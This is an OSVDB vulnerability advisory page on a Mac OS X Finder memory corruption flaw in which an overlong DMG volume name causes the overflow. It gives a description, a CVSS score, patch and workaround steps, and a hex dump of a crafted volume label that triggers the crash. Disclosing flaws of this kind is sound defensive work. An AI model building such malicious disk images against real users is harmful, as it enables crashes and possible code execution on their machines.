32714 : Apple Mac OS X Finder DMG Disk Image Volume Name Memory Corruption
Printer | http://osvdb.org/32714 | Email This | Edit Vulnerability

Views This Week Views All Time Added to OSVDB Last Modified Modified (since 2008) Percent Complete
5 1201 over 4 years ago over 3 years ago 0 times 90%

Timeline

Disclosure Date Exploit Publish Date
2007-01-09 2007-01-09

Description

A remote buffer overflow exists in Mac OS X's Finder. Finder fails to properly handle DMG images with volume names of more than 255 bytes, leading to memory corruption. Using a specially crafted DMG disk image, a remote attacker can exploit this vulnerability in order to crash the vulnerable application or possibly execute arbitrary commands with the privileges of the user by serving the malicious file via a web server or convincing the victim to download and mount it.

Classification

Location: Remote / Network Access
Attack Type: Denial of Service, Input Manipulation
Impact: Loss of Integrity, Loss of Availability
Exploit: Exploit Public
Disclosure: OSVDB Verified, Vendor Verified

Technical

Hex dump of an example DMG image volume label that can be used to trigger the issue (by Kevin Finisterre):

0009c00: 4c41 424c be42 0000 0000 0001 4594 86e1 LABL.B......E...
0009c10: 00ff 4141 4141 4141 4141 4141 4141 4141 ..AAAAAAAAAAAAAA
0009c20: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009c30: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009c40: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009c50: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009c60: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009c70: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009c80: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009c90: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009ca0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009cb0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009cc0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009cd0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009ce0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009cf0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009d00: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0009d10: 4100 0000 0000 0000 0000 0000 0000 0000 A...............

Solution

Download and install Security Update 2007-002, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround(s):
Do not mount disk images or simply disable Finder and use Spotlight instead. One can disable Finder using the following steps:
1) Open Terminal, found in /Applications -> Utilities
2) Once inside Terminal, type:
'sudo mv /System/Library/CoreServices/Finder.app /Applications/'
3) While still in Terminal type:
killall Finder

In the case that Finder has already been put into a Denial of Service condition one can unmount it using the following command while in Terminal:
hdiutil unmount /Volumes/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/

Products

Apple Computer, Inc.
Watch-list
Mac OS X
Watch-list
10.4.8
Mac OS X Server
Watch-list
10.4.8

References

Tools & Filters

24354

Credit

  • Kevin Finisterre - kf_listsdigitalmunition.com - Digital Munition

CVSSv2 Score

CVSSv2 Base Score = 6.8
Source: nvd.nist.gov | Generated: 2007-01-11 | Disagree?

Access_vector_2 Access_complexity_1 Authentication_2 Confidentiality_impact_1 Integrity_impact_1 Availability_impact_1

Blogs

This section lists the latest news and blogs found via the daylife API (and for older items, the technorati API), which mention or otherwise discuss this vulnerability.

None found at this time

Comments

No Comments.

The database information may change without any notice. Use of the information constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the copyright holder or distributor (OSVDB or OSF) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

© Copyright 2012 Open Source Vulnerability Database (OSVDB), All Rights Reserved.
Privacy Statement - Terms of Use